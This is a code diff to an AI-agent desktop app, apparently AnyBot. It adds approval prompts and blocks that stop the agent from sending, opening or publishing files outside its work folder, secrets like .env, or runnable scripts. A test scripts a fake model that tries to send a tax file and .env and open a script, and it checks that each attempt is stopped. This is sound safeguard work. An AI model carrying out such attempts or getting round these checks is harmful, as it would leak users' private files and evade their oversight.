Decision::Allow if !direct && !(tools_on && local_on) => Decision::Ask { reason: format!("把「{}」上的檔案上傳到網頁:{}", here.name, named.display()), grant: String::new() },
Decision::Ask { .. } if direct => Decision::Allow,
Decision::Ask { grant, .. } => Decision::Ask { reason: format!("把工作資料夾以外的檔案上傳到網頁:{}", named.display()), grant },
d => d,
}
};
let refused = match decision {
Decision::Allow => None,
Decision::Deny(r) => Some(format!("被安全規則擋下:{r}")),
Decision::Ask { reason, grant } => {
let (atx, arx) = channel();
send(StreamEvent::ToolStatus(call.id.clone(), ToolStatus::Waiting));
send(StreamEvent::NeedApproval(Approval { call_id: call.id.clone(), tool: call.name.clone(), reason: format!("{reason}\n(在 {} 上)", here.name), grant, reply: atx, kind: ApprovalKind::Action }));
match wait_answer(arx, &cancel) {
ApprovalAnswer::Once => None,
ApprovalAnswer::Always(g) => {
keep_grant(&mut grants, g);
None
}
ApprovalAnswer::Reject => Some("使用者拒絕了這個操作。請不要再試同樣的操作,改問使用者想怎麼做。".to_string()),
}
}
};
if cancel.load(Ordering::Relaxed) {
return;
}
if let Some(output) = refused {
finish(&mut history, &output, ToolStatus::Denied, None);
continue;
}
let mut v = tools::args_of(&call.args);
v["path"] = serde_json::Value::String(named.display().to_string());
call_args = v.to_string();
}
started(); started();
if call.name != "web_fetch" { if call.name != "web_fetch" {
let profile = tools::args_of(&call.args).get("profile").and_then(|p| p.as_str()).unwrap_or("").trim().to_string(); let profile = tools::args_of(&call.args).get("profile").and_then(|p| p.as_str()).unwrap_or("").trim().to_string();
@ -1272,7 +1330,7 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
} }
// 裝置連結: the AnyBot browser of another computer (its own logins). // 裝置連結: the AnyBot browser of another computer (its own logins).
// (On this job's own tabs: another bot may be using the same browser.) // (On this job's own tabs: another bot may be using the same browser.)
let args = with_job(&call.args, &browsers.job); let args = with_job(&call_args, &browsers.job);
let (output, ok, img) = match place { let (output, ok, img) = match place {
BrowserAt::Device(host) => match crate::remote::run_on_device(&host, &call.name, &args, &job.via_name) { BrowserAt::Device(host) => match crate::remote::run_on_device(&host, &call.name, &args, &job.via_name) {
Ok(v) => (v["text"].as_str().unwrap_or("").to_string(), v["ok"].as_bool().unwrap_or(false), v["image"].as_str().map(String::from)), Ok(v) => (v["text"].as_str().unwrap_or("").to_string(), v["ok"].as_bool().unwrap_or(false), v["image"].as_str().map(String::from)),
@ -1356,6 +1414,50 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
finish(&mut history, &format!("已在使用者的訊息上按了 {emoji}。"), ToolStatus::Done, None); finish(&mut history, &format!("已在使用者的訊息上按了 {emoji}。"), ToolStatus::Done, None);
continue; continue;
} }
// A file on its way out of a computer (into the chat, onto the person's screen) is
// read on the way: read_file's walls and read_file's questions, before either
// tool below touches it. Both used to run with no check but the secrets list.
// (A web address isn't a file.)
if call.name == "send_file" || call.name == "open_for_person" {
let path = tools::args_of(&call.args)["path"].as_str().unwrap_or("").to_string();
let web = call.name == "open_for_person" && (path.starts_with("http://") || path.starts_with("https://"));
if let (false, Ok(t)) = (web, target_for(&job, &call.args)) {
let direct = job.direct.load(Ordering::Relaxed);
let local = matches!(t.place, tools::Place::Local { .. });
let refused: Option<(String, ToolStatus)> = if local && job.local_locked {
Some((format!("「在這台電腦上執行」設成了永不允許(或被管理員關閉),不能拿「{}」上的檔案。請改用「{}」。", t.name, job.roles.own), ToolStatus::Denied))
} else {
let decision = match tools::decide_file_out(&t, &path, &grants) {
// Using this computer is switched off: its files are asked for one by one.
Decision::Allow if local && !direct && !(tools_on && local_on) => {
Decision::Ask { reason: format!("{}「{}」上的檔案:{what}", if call.name == "send_file" { "把檔案傳到聊天,來自" } else { "在你的螢幕上打開" }, t.name), grant: String::new() }
}
// 直接操作 goes ahead where reading the file would.
Decision::Ask { .. } if direct => Decision::Allow,
d => d,
};
match decision {
Decision::Allow => None,
Decision::Deny(r) => Some((format!("被安全規則擋下:{r}"), ToolStatus::Denied)),
Decision::Ask { reason, grant } => match ask_person(ApprovalKind::Action, format!("{reason}\n(在 {} 上)", t.name), grant) {
ApprovalAnswer::Once => None,
ApprovalAnswer::Always(g) => {
keep_grant(&mut grants, g);
None
}
ApprovalAnswer::Reject => Some(("使用者拒絕了這個操作。請不要再試同樣的操作,改問使用者想怎麼做。".to_string(), ToolStatus::Denied)),
},
}
};
if cancel.load(Ordering::Relaxed) {
return;
}
if let Some((output, status)) = refused {
finish(&mut history, &output, status, None);
continue;
}
}
}
// 傳檔案: put a file the bot made into the chat as a card the person can open. // 傳檔案: put a file the bot made into the chat as a card the person can open.
if call.name == "send_file" { if call.name == "send_file" {
started(); started();
@ -1405,6 +1507,7 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
started(); started();
let v = tools::args_of(&call.args); let v = tools::args_of(&call.args);
let path = v["path"].as_str().unwrap_or("").to_string(); let path = v["path"].as_str().unwrap_or("").to_string();
let web = path.starts_with("http://") || path.starts_with("https://");
let on_box = match target_for(&job, &call.args) { let on_box = match target_for(&job, &call.args) {
Ok(t) => match t.place { Ok(t) => match t.place {
tools::Place::Box { dir } => Some(if path.starts_with('/') { path.clone() } else { format!("{dir}/{path}") }), tools::Place::Box { dir } => Some(if path.starts_with('/') { path.clone() } else { format!("{dir}/{path}") }),
@ -1420,7 +1523,6 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
_ => None, _ => None,
}); });
if job.roles.server { if job.roles.server {
let web = path.starts_with("http://") || path.starts_with("https://");
let (output, ok) = match (&person_host, web) { let (output, ok) = match (&person_host, web) {
(Some(host), true) => match crate::remote::run_on_device(host, "browser_open", &serde_json::json!({"url": path}).to_string(), &job.via_name) { (Some(host), true) => match crate::remote::run_on_device(host, "browser_open", &serde_json::json!({"url": path}).to_string(), &job.via_name) {
Ok(v) => (format!("[{}] {}", person_now.clone().unwrap_or_default(), v["text"].as_str().unwrap_or("")), v["ok"].as_bool().unwrap_or(false)), Ok(v) => (format!("[{}] {}", person_now.clone().unwrap_or_default(), v["text"].as_str().unwrap_or("")), v["ok"].as_bool().unwrap_or(false)),
@ -1433,14 +1535,25 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
continue; continue;
} }
let local = match (&on_box, target_for(&job, &call.args)) { let local = match (&on_box, target_for(&job, &call.args)) {
// A web address is the same address on every computer. (It came after the
// file cases, which turned it into a path inside the work folder.)
_ if web => Ok(std::path::PathBuf::from(&path)),
(Some(p), _) => crate::cloudbox::copy_out(p), (Some(p), _) => crate::cloudbox::copy_out(p),
(None, Ok(tools::Target { place: tools::Place::Sealed { root }, .. })) => Ok(tools::resolve(&root, &path)), (None, Ok(tools::Target { place: tools::Place::Sealed { root }, .. })) => Ok(tools::resolve(&root, &path)),
(None, Ok(tools::Target { place: tools::Place::Local { workdir }, .. })) => Ok(tools::resolve(&workdir, &path)), (None, Ok(tools::Target { place: tools::Place::Local { workdir }, .. })) => Ok(tools::resolve(&workdir, &path)),
(None, _) if path.starts_with("http://") || path.starts_with("https://") => Ok(std::path::PathBuf::from(&path)),
_ => Err(format!("這台電腦上的檔案不能直接打開給使用者看,請先複製到「{}」或這台電腦。", job.roles.own)), _ => Err(format!("這台電腦上的檔案不能直接打開給使用者看,請先複製到「{}」或這台電腦。", job.roles.own)),
}; };
// Secrets never open on the person's screen either. // Secrets never open on the person's screen either.
let local = local.and_then(|p| if tools::is_ignored(&p) || tools::is_ignored(std::path::Path::new(&path)) { Err("這個檔案是機密的,不能打開。".to_string()) } else { Ok(p) }); let local = local.and_then(|p| if tools::is_ignored(&p) || tools::is_ignored(std::path::Path::new(&path)) { Err("這個檔案是機密的,不能打開。".to_string()) } else { Ok(p) });
// Showing is not running: a script or an app would start on the person's
// computer, outside every sandbox, the moment it is opened.
let local = local.and_then(|p| {
if !web && crate::preview::runs_when_opened(&p) {
Err("這是程式或指令檔,打開就會在使用者的電腦上執行,所以不能用 open_for_person 打開。要給使用者看內容,用 send_file 傳到聊天裡。".to_string())
} else {
Ok(p)
}
});
let (output, ok) = match local { let (output, ok) = match local {
Ok(p) if p.exists() || path.starts_with("http") => match crate::preview::system_open(&p).status() { Ok(p) if p.exists() || path.starts_with("http") => match crate::preview::system_open(&p).status() {
Ok(st) if st.success() => (format!("已在使用者的螢幕上打開 {}。", p.display()), true), Ok(st) if st.success() => (format!("已在使用者的螢幕上打開 {}。", p.display()), true),
@ -1478,9 +1591,27 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
let path = v["path"].as_str().unwrap_or("").to_string(); let path = v["path"].as_str().unwrap_or("").to_string();
let name = v["name"].as_str().unwrap_or("").trim().to_lowercase(); let name = v["name"].as_str().unwrap_or("").trim().to_lowercase();
let grant = format!("publish:{name}"); let grant = format!("publish:{name}");
let mut allowed = grants.contains(&grant); // What goes on the public web is read first, with read_file's walls: a
// secret never, a sealed bot nothing outside its folder. 「一律允許」 is for a
// site made in the work folder; from anywhere else (it used to cover any
// folder on the computer) the person is asked each time.
let walls = match target_for(&job, &call.args) {
Ok(t) if matches!(t.place, tools::Place::Local { .. }) && job.local_locked => {
Decision::Deny(format!("「在這台電腦上執行」設成了永不允許(或被管理員關閉),不能發布「{}」上的檔案。", t.name))
}
Ok(t) => tools::decide_file_out(&t, &path, &[]),
Err(_) => Decision::Allow,
};
if let Decision::Deny(r) = walls {
finish(&mut history, &format!("被安全規則擋下:{r}"), ToolStatus::Denied, None);
continue;
}
let outside = matches!(walls, Decision::Ask { .. });
let grant = if outside { String::new() } else { grant };
let mut allowed = !outside && grants.contains(&grant);
if !allowed { if !allowed {
match ask_person(ApprovalKind::Action, format!("把 {path} 發布成公開網站「{name}」(任何知道網址的人都看得到)"), grant.clone()) { let from = if outside { "(在工作資料夾以外)" } else { "" };
match ask_person(ApprovalKind::Action, format!("把 {path}{from} 發布成公開網站「{name}」(任何知道網址的人都看得到)"), grant.clone()) {
ApprovalAnswer::Once => allowed = true, ApprovalAnswer::Once => allowed = true,
ApprovalAnswer::Always(g) => { ApprovalAnswer::Always(g) => {
keep_grant(&mut grants, g); keep_grant(&mut grants, g);
@ -3149,6 +3280,82 @@ echo '<meta charset=utf-8><title>done</title>送出了' > done.html; (setsid pyt
assert!(result.contains("note.txt"), "{result}"); assert!(result.contains("note.txt"), "{result}");
} }
/// send_file and open_for_person take a file off a computer: they ask what reading it would
/// ask, refuse what reading it would refuse, and never start a program on the person's
/// screen. (Nothing here is sent or opened: every step is one that must be stopped.)
#[test]
fn a_file_leaves_a_computer_only_past_the_questions_of_reading_it() {
let w = std::env::temp_dir().join(format!("anybot-file-out-{}", std::process::id()));
let _ = std::fs::remove_dir_all(&w);
let (work, elsewhere) = (w.join("work"), w.join("elsewhere"));
std::fs::create_dir_all(&work).unwrap();
std::fs::create_dir_all(&elsewhere).unwrap();
std::fs::write(elsewhere.join("taxes.pdf"), "x").unwrap();
std::fs::write(work.join("run.command"), "true\n").unwrap();
std::fs::write(work.join(".env"), "KEY=x").unwrap();
std::fs::write(work.join("report.txt"), "x").unwrap();
let outside = elsewhere.join("taxes.pdf").display().to_string();
let run = |local_execution: bool, replies: Vec<(&'static str, serde_json::Value)>| {
let port = fake_model(replies);
let job = Job {
req: ChatRequest { kind: ProviderKind::Custom, base_url: format!("http://127.0.0.1:{port}/v1"), api_key: String::new(), model: "m".into(), system: String::new(), history: vec![Message::user("把檔案給我")], tools: tools::specs(), session: String::new() },
computers: vec![tools::Target { name: crate::model::THIS_COMPUTER_NAME.into(), place: tools::Place::Local { workdir: work.clone() } }],
default_computer: crate::model::THIS_COMPUTER_NAME.into(),
roles: tools::Roles { own: crate::model::BOT_COMPUTER_NAME.into(), person: Some(crate::model::THIS_COMPUTER_NAME.into()), server: false },
local_execution,
via: "test".into(),
via_name: "Bot".into(),
..test_job()
};
let (tx, rx) = channel();
spawn(job, 1, tx, Arc::new(AtomicBool::new(false)), eframe::egui::Context::default());
let (mut asked, mut results, mut attached) = (vec![], vec![], 0);
loop {
match rx.recv_timeout(Duration::from_secs(10)).expect("loop stalled") {
(_, StreamEvent::NeedApproval(a)) => {
asked.push((a.kind, a.grant.clone(), a.reason.clone()));
let _ = a.reply.send(ApprovalAnswer::Reject);
}
(_, StreamEvent::ToolResult(m)) => results.push(m.text),
(_, StreamEvent::Attach(_)) => attached += 1,
(_, StreamEvent::Done) => break,
(_, StreamEvent::Error(e)) => panic!("{e}"),
_ => {}
}
}
(asked, results, attached)
};
// Using this computer is on. Outside the work folder asks (the read_file grant); a
// script isn't opened; a secret isn't sent.
let (asked, results, attached) = run(
true,
vec![
("send_file", serde_json::json!({"path": outside})),
("open_for_person", serde_json::json!({"path": outside})),
("open_for_person", serde_json::json!({"path": "run.command"})),
("send_file", serde_json::json!({"path": ".env"})),
("", serde_json::json!("好")),
],
);
assert_eq!(asked.len(), 2, "{asked:?}\n{results:?}");
for (kind, grant, reason) in &asked {
assert_eq!((kind, grant.as_str()), (&ApprovalKind::Action, "read:anywhere"));
assert!(reason.contains("taxes.pdf"), "{reason}");
}
assert_eq!(results.len(), 4, "{results:?}");
assert!(results[0].contains("使用者拒絕") && results[1].contains("使用者拒絕"), "{results:?}");
assert!(results[2].contains("程式或指令檔"), "{results:?}");
assert!(results[3].contains("被安全規則擋下"), "{results:?}");
assert_eq!(attached, 0);
// Using this computer is off: even a file in the work folder is asked for.
let (asked, results, attached) = run(false, vec![("send_file", serde_json::json!({"path": "report.txt"})), ("", serde_json::json!("好"))]);
assert_eq!(asked.len(), 1, "{asked:?}\n{results:?}");
assert!(asked[0].1.is_empty() && asked[0].2.contains("report.txt"), "{asked:?}");
assert!(results[0].contains("使用者拒絕"), "{results:?}");
assert_eq!(attached, 0);
let _ = std::fs::remove_dir_all(&w);
}
/// 需要處理: the model hands a step to the person; the card's request carries the instruction /// 需要處理: the model hands a step to the person; the card's request carries the instruction
/// and the computer, 「我完成了」 tells the bot to carry on, 「跳過」 that the step is skipped. /// and the computer, 「我完成了」 tells the bot to carry on, 「跳過」 that the step is skipped.
#[test] #[test]

View File

@ -176,12 +176,19 @@ pub struct App {
new_allow_rule: String, new_allow_rule: String,
new_ask_rule: String, new_ask_rule: String,
side_drag: Option<f32>, side_drag: Option<f32>,
tx: Sender<(u64, StreamEvent)>, /// What the turns say: (bot, the turn's number, the event). The number is the turn's own
rx: Receiver<(u64, StreamEvent)>, /// (`Live::turn`): a turn that was stopped can still have events on their way, and with
/// only the bot to go by they were taken for the next turn's — its text in the new answer,
/// its end ending the new turn.
tx: Sender<(u64, u64, StreamEvent)>,
rx: Receiver<(u64, u64, StreamEvent)>,
turn_seq: u64,
show_settings: bool, show_settings: bool,
settings_tab: SettingsTab, settings_tab: SettingsTab,
settings_provider: ProviderKind, settings_provider: ProviderKind,
edit_bot: Option<(Bot, bool)>, edit_bot: Option<(Bot, bool)>,
/// The bot as its settings were opened (what 「儲存」 measures the person's changes against).
edit_bot_from: Option<Bot>,
confirm_delete: Option<u64>, confirm_delete: Option<u64>,
model_fetch: HashMap<ProviderKind, Receiver<Result<Vec<String>, String>>>, model_fetch: HashMap<ProviderKind, Receiver<Result<Vec<String>, String>>>,
fetch_status: HashMap<ProviderKind, String>, fetch_status: HashMap<ProviderKind, String>,
@ -316,10 +323,12 @@ impl App {
side_drag: None, side_drag: None,
tx, tx,
rx, rx,
turn_seq: 0,
show_settings: false, show_settings: false,
settings_tab: SettingsTab::General, settings_tab: SettingsTab::General,
settings_provider: ProviderKind::Xai, settings_provider: ProviderKind::Xai,
edit_bot: None, edit_bot: None,
edit_bot_from: None,
confirm_delete: None, confirm_delete: None,
model_fetch: HashMap::new(), model_fetch: HashMap::new(),
fetch_status: HashMap::new(), fetch_status: HashMap::new(),
@ -389,6 +398,7 @@ impl App {
steer: Arc::new(Mutex::new(vec![agent::Queued::new("2026-06 的照片先不要動")])), steer: Arc::new(Mutex::new(vec![agent::Queued::new("2026-06 的照片先不要動")])),
direct: Arc::new(AtomicBool::new(false)), direct: Arc::new(AtomicBool::new(false)),
turn_id: "demo".into(), turn_id: "demo".into(),
turn: 0,
}); });
// Optional view for checking the dialogs in a picture. // Optional view for checking the dialogs in a picture.
match std::env::var("ANYBOT_SHOT_VIEW").as_deref() { match std::env::var("ANYBOT_SHOT_VIEW").as_deref() {
@ -896,7 +906,9 @@ impl App {
let steer = Arc::new(Mutex::new(Vec::new())); let steer = Arc::new(Mutex::new(Vec::new()));
let turn_id = format!("turn-{bot_id}-{}", chrono::Utc::now().timestamp_millis()); let turn_id = format!("turn-{bot_id}-{}", chrono::Utc::now().timestamp_millis());
let direct = Arc::new(AtomicBool::new(self.direct_on())); let direct = Arc::new(AtomicBool::new(self.direct_on()));
self.streams.insert(bot_id, Live { cancel: cancel.clone(), started: Instant::now(), last: Instant::now(), produced: false, status: None, paused: false, steer: steer.clone(), turn_id: turn_id.clone(), direct: direct.clone() }); self.turn_seq += 1;
let turn = self.turn_seq;
self.streams.insert(bot_id, Live { cancel: cancel.clone(), started: Instant::now(), last: Instant::now(), produced: false, status: None, paused: false, steer: steer.clone(), turn_id: turn_id.clone(), direct: direct.clone(), turn });
self.stick_bottom = true; self.stick_bottom = true;
let review = self.state.auto_review.then(|| agent::Review { allow: self.state.review_allow_rules.clone(), ask: self.state.review_ask_rules.clone() }); let review = self.state.auto_review.then(|| agent::Review { allow: self.state.review_allow_rules.clone(), ask: self.state.review_ask_rules.clone() });
let job = agent::Job { let job = agent::Job {
@ -931,7 +943,19 @@ impl App {
op: turn_id, op: turn_id,
log: (!self.demo).then(|| crate::oplog::OpLog::for_bot(bot_id)), log: (!self.demo).then(|| crate::oplog::OpLog::for_bot(bot_id)),
}; };
agent::spawn(job, bot_id, self.tx.clone(), cancel, ctx.clone()); // The turn speaks into a channel of its own; what it says goes on to the window with
// the turn's number on it.
let (turn_tx, turn_rx) = channel::<(u64, StreamEvent)>();
let (all, repaint) = (self.tx.clone(), ctx.clone());
std::thread::spawn(move || {
for (id, ev) in turn_rx {
if all.send((id, turn, ev)).is_err() {
break;
}
repaint.request_repaint();
}
});
agent::spawn(job, bot_id, turn_tx, cancel, ctx.clone());
// (Its eyes start reading while it works; see face_pose.) // (Its eyes start reading while it works; see face_pose.)
self.mark(); self.mark();
} }
@ -1257,7 +1281,9 @@ impl App {
if self.streams.contains_key(&b.id) { if self.streams.contains_key(&b.id) {
continue; // fires once the bot is idle continue; // fires once the bot is idle
} }
for r in b.routines.iter_mut().filter(|r| !r.paused) { // (One that waits for an event has no clock: a time left on it by an older pause and
// resume must not run it every morning.)
for r in b.routines.iter_mut().filter(|r| !r.paused && r.trigger.is_none()) {
if r.next_run.map(|t| t <= now).unwrap_or(false) { if r.next_run.map(|t| t <= now).unwrap_or(false) {
r.last_run = Some(now); r.last_run = Some(now);
r.next_run = crate::routines::next_run(&r.schedule, r.created_at, now); r.next_run = crate::routines::next_run(&r.schedule, r.created_at, now);
@ -1506,7 +1532,7 @@ impl App {
} }
fn drain_events(&mut self, ctx: &egui::Context) { fn drain_events(&mut self, ctx: &egui::Context) {
while let Ok((id, ev)) = self.rx.try_recv() { while let Ok((id, turn, ev)) = self.rx.try_recv() {
// 自己進化 arrives after the turn has ended: keep the skill, say so under the reply. // 自己進化 arrives after the turn has ended: keep the skill, say so under the reply.
if let StreamEvent::Learned(k, reply_at) = ev { if let StreamEvent::Learned(k, reply_at) = ev {
let name = k.name.clone(); let name = k.name.clone();
@ -1517,8 +1543,9 @@ impl App {
self.dirty = true; self.dirty = true;
continue; continue;
} }
// A stopped request may still deliver a few pieces; ignore them. // A stopped request may still deliver a few pieces; ignore them — also when the
if !self.streams.contains_key(&id) { // bot has a new turn running by now.
if self.streams.get(&id).map(|l| l.turn) != Some(turn) {
continue; continue;
} }
let selected = self.state.selected; let selected = self.state.selected;
@ -2568,7 +2595,7 @@ impl App {
send_now = true; send_now = true;
} }
self.attachments_poll(ctx, bot.id, had_focus); self.attachments_poll(ctx, bot.id, had_focus);
self.voice_poll(); self.voice_poll(ctx);
let mut draft = self.drafts.remove(&bot.id).unwrap_or_default(); let mut draft = self.drafts.remove(&bot.id).unwrap_or_default();
ui.add_space(4.0); ui.add_space(4.0);
// Quote and attachments sit just above the pill. // Quote and attachments sit just above the pill.
@ -2873,7 +2900,7 @@ impl App {
"toggle" => { "toggle" => {
if let Some(r) = b.routines.iter_mut().find(|r| r.id == id) { if let Some(r) = b.routines.iter_mut().find(|r| r.id == id) {
r.paused = !r.paused; r.paused = !r.paused;
r.next_run = crate::routines::next_run(&r.schedule, r.created_at, now); r.next_run = if r.trigger.is_some() { None } else { crate::routines::next_run(&r.schedule, r.created_at, now) };
} }
} }
"run" => { "run" => {
@ -2950,7 +2977,14 @@ impl App {
// ---------- dialogs ---------- // ---------- dialogs ----------
fn bot_editor(&mut self, ctx: &egui::Context) { fn bot_editor(&mut self, ctx: &egui::Context) {
let Some((mut b, is_new)) = self.edit_bot.take() else { return }; let Some((mut b, is_new)) = self.edit_bot.take() else {
self.edit_bot_from = None;
return;
};
// (Kept on the editor's first frame, before anything in it can have been changed.)
if self.edit_bot_from.as_ref().map(|f| f.id) != Some(b.id) {
self.edit_bot_from = Some(b.clone());
}
let p = self.pal; let p = self.pal;
let mut save = false; let mut save = false;
let mut cancel = false; let mut cancel = false;
@ -3176,14 +3210,23 @@ impl App {
self.state.selected = b.id; self.state.selected = b.id;
self.state.bots.push(b); self.state.bots.push(b);
} else if let Some(slot) = self.state.bot_mut(b.id) { } else if let Some(slot) = self.state.bot_mut(b.id) {
// Keep messages that arrived while the editor was open. // Only what was changed here: what the bot got while the editor was open
let msgs = std::mem::take(&mut slot.messages); // (messages, memories, 「永遠允許」, routines, conversations put aside) stays.
*slot = b; match self.edit_bot_from.take() {
slot.messages = msgs; Some(from) => slot.take_edit(from, b),
None => {
let msgs = std::mem::take(&mut slot.messages);
*slot = b;
slot.messages = msgs;
}
}
} }
self.edit_bot_from = None;
self.mark(); self.mark();
} else if open && !cancel { } else if open && !cancel {
self.edit_bot = Some((b, is_new)); self.edit_bot = Some((b, is_new));
} else {
self.edit_bot_from = None;
} }
} }
@ -3730,7 +3773,8 @@ impl App {
} }
/// `anybot --serve` with ANYBOT_ACCOUNT=url|user and ANYBOT_ACCOUNT_PASSWORD: join the account /// `anybot --serve` with ANYBOT_ACCOUNT=url|user and ANYBOT_ACCOUNT_PASSWORD: join the account
/// (and, with ANYBOT_RESTORE_FROM_ACCOUNT=1, start once from the newest backup). /// (and, with ANYBOT_RESTORE_FROM_ACCOUNT=1, start once from the newest backup). An account
/// with 兩步驗證 on also needs ANYBOT_ACCOUNT_CODE (a recovery code: it is used once).
fn serve_join(&mut self) { fn serve_join(&mut self) {
let (Ok(acct), Ok(pw)) = (std::env::var("ANYBOT_ACCOUNT"), std::env::var("ANYBOT_ACCOUNT_PASSWORD")) else { return }; let (Ok(acct), Ok(pw)) = (std::env::var("ANYBOT_ACCOUNT"), std::env::var("ANYBOT_ACCOUNT_PASSWORD")) else { return };
if !self.state.remote.host_token.is_empty() { if !self.state.remote.host_token.is_empty() {
@ -3738,10 +3782,11 @@ impl App {
} }
let Some((url, user)) = acct.rsplit_once('|') else { return }; let Some((url, user)) = acct.rsplit_once('|') else { return };
// ANYBOT_ACCOUNT_CREATE=1 (the server's own brain, first start): make the account if it isn't there. // ANYBOT_ACCOUNT_CREATE=1 (the server's own brain, first start): make the account if it isn't there.
let mut r = crate::remote::relay_join(&self.state.remote, url, user, &pw, false, ""); let code = std::env::var("ANYBOT_ACCOUNT_CODE").unwrap_or_default();
let mut r = crate::remote::relay_join(&self.state.remote, url, user, &pw, false, "", &code);
if r.is_err() && std::env::var("ANYBOT_ACCOUNT_CREATE").map(|v| v == "1").unwrap_or(false) { if r.is_err() && std::env::var("ANYBOT_ACCOUNT_CREATE").map(|v| v == "1").unwrap_or(false) {
let invite = std::env::var("ANYBOT_RELAY_INVITE").unwrap_or_default(); let invite = std::env::var("ANYBOT_RELAY_INVITE").unwrap_or_default();
if let Ok(s) = crate::remote::relay_join(&self.state.remote, url, user, &pw, true, &invite) { if let Ok(s) = crate::remote::relay_join(&self.state.remote, url, user, &pw, true, &invite, &code) {
eprintln!("AnyBot:已建立帳號 {user}"); eprintln!("AnyBot:已建立帳號 {user}");
r = Ok(s); r = Ok(s);
} }
@ -3759,7 +3804,7 @@ impl App {
} }
let marker = State::path().with_file_name("restored-from-account"); let marker = State::path().with_file_name("restored-from-account");
if std::env::var("ANYBOT_RESTORE_FROM_ACCOUNT").map(|v| v == "1").unwrap_or(false) && !marker.exists() { if std::env::var("ANYBOT_RESTORE_FROM_ACCOUNT").map(|v| v == "1").unwrap_or(false) && !marker.exists() {
match crate::remote::restore(url, user, &pw).and_then(|b| serde_json::from_slice::<State>(&b).map_err(|e| e.to_string())) { match crate::remote::restore(url, user, &pw, &code).and_then(|b| serde_json::from_slice::<State>(&b).map_err(|e| e.to_string())) {
Ok(mut st) => { Ok(mut st) => {
st.remote = self.state.remote.clone(); st.remote = self.state.remote.clone();
eprintln!("AnyBot:已從帳號備份接手 {} 個 Bot", st.bots.len()); eprintln!("AnyBot:已從帳號備份接手 {} 個 Bot", st.bots.len());
@ -4109,6 +4154,8 @@ struct Live {
turn_id: String, turn_id: String,
/// 直接操作 for this turn (switched on mid-turn by "全部允許"). /// 直接操作 for this turn (switched on mid-turn by "全部允許").
direct: Arc<AtomicBool>, direct: Arc<AtomicBool>,
/// This turn's number: its events carry it.
turn: u64,
} }
/// How an "always allow" grant reads in the UI. /// How an "always allow" grant reads in the UI.

View File

@ -61,10 +61,22 @@ impl App {
self.add_attachment_paths(id, paths); self.add_attachment_paths(id, paths);
} }
} }
// ⌘V with no text on the clipboard: maybe a picture. // ⌘V with no text on the clipboard: maybe a picture. The window answers the paste keys
// itself and hands over the picture (no V key arrives for ⌘V); a V key with ⌘ that does
// arrive (⌘⇧V) looks at the clipboard as before.
let pasted_text = ctx.input(|i| i.events.iter().any(|e| matches!(e, egui::Event::Paste(t) if !t.is_empty()))); let pasted_text = ctx.input(|i| i.events.iter().any(|e| matches!(e, egui::Event::Paste(t) if !t.is_empty())));
let pasted_image = ctx.input(|i| i.events.iter().find_map(|e| if let egui::Event::PasteImage(img) = e { Some(img.clone()) } else { None }));
let cmd_v = ctx.input(|i| i.events.iter().any(|e| matches!(e, egui::Event::Key { key: Key::V, pressed: true, modifiers, .. } if modifiers.command))); let cmd_v = ctx.input(|i| i.events.iter().any(|e| matches!(e, egui::Event::Key { key: Key::V, pressed: true, modifiers, .. } if modifiers.command)));
if composer_focused && cmd_v && !pasted_text && !self.demo { if !composer_focused || self.demo {
return;
}
if let Some(img) = pasted_image {
let rgba: Vec<u8> = img.pixels.iter().flat_map(|c| c.to_srgba_unmultiplied()).collect();
match attach::store_pasted(bot_id, img.size, rgba) {
Ok(a) => self.att.pending.entry(bot_id).or_default().push(a),
Err(e) => self.att.error = Some(e),
}
} else if cmd_v && !pasted_text {
if let Some(a) = attach::paste_image(bot_id) { if let Some(a) = attach::paste_image(bot_id) {
self.att.pending.entry(bot_id).or_default().push(a); self.att.pending.entry(bot_id).or_default().push(a);
} }
@ -209,23 +221,7 @@ impl App {
/// The mic button: start, or stop and turn the recording into text. /// The mic button: start, or stop and turn the recording into text.
pub(super) fn voice_toggle(&mut self, ctx: &egui::Context, bot_id: u64) { pub(super) fn voice_toggle(&mut self, ctx: &egui::Context, bot_id: u64) {
if let Some((id, rec)) = self.att.voice.take() { if self.voice_stop(ctx) {
let lang = self.state.bot(id).map(|b| b.voice_lang.clone()).unwrap_or_default();
let ps = self.state.provider(ProviderKind::OpenAi);
let base = providers::resolve_base(ProviderKind::OpenAi, &ps.base_url);
let key = providers::resolve_key(ProviderKind::OpenAi, &ps.api_key);
let (tx, rx) = channel();
self.att.voice_rx = Some(rx);
let c = ctx.clone();
std::thread::spawn(move || {
let r = rec.finish().and_then(|f| {
let t = crate::voice::transcribe_lang(&base, &key, &f, &lang);
let _ = std::fs::remove_file(&f);
t
});
let _ = tx.send((id, r));
c.request_repaint();
});
return; return;
} }
crate::voice::stop_speaking(); crate::voice::stop_speaking();
@ -235,6 +231,28 @@ impl App {
} }
} }
/// Stop the recording that is running and turn it into text (false: none was running).
fn voice_stop(&mut self, ctx: &egui::Context) -> bool {
let Some((id, rec)) = self.att.voice.take() else { return false };
let lang = self.state.bot(id).map(|b| b.voice_lang.clone()).unwrap_or_default();
let ps = self.state.provider(ProviderKind::OpenAi);
let base = providers::resolve_base(ProviderKind::OpenAi, &ps.base_url);
let key = providers::resolve_key(ProviderKind::OpenAi, &ps.api_key);
let (tx, rx) = channel();
self.att.voice_rx = Some(rx);
let c = ctx.clone();
std::thread::spawn(move || {
let r = rec.finish().and_then(|f| {
let t = crate::voice::transcribe_lang(&base, &key, &f, &lang);
let _ = std::fs::remove_file(&f);
t
});
let _ = tx.send((id, r));
c.request_repaint();
});
true
}
/// 會議記錄: a long recording that becomes a transcript for the bot to summarize. /// 會議記錄: a long recording that becomes a transcript for the bot to summarize.
pub(super) fn start_meeting(&mut self, ctx: &egui::Context, bot_id: u64) { pub(super) fn start_meeting(&mut self, ctx: &egui::Context, bot_id: u64) {
if self.att.voice.is_some() { if self.att.voice.is_some() {
@ -252,15 +270,13 @@ impl App {
} }
/// Put the text where the person was typing. /// Put the text where the person was typing.
pub(super) fn voice_poll(&mut self) { pub(super) fn voice_poll(&mut self, ctx: &egui::Context) {
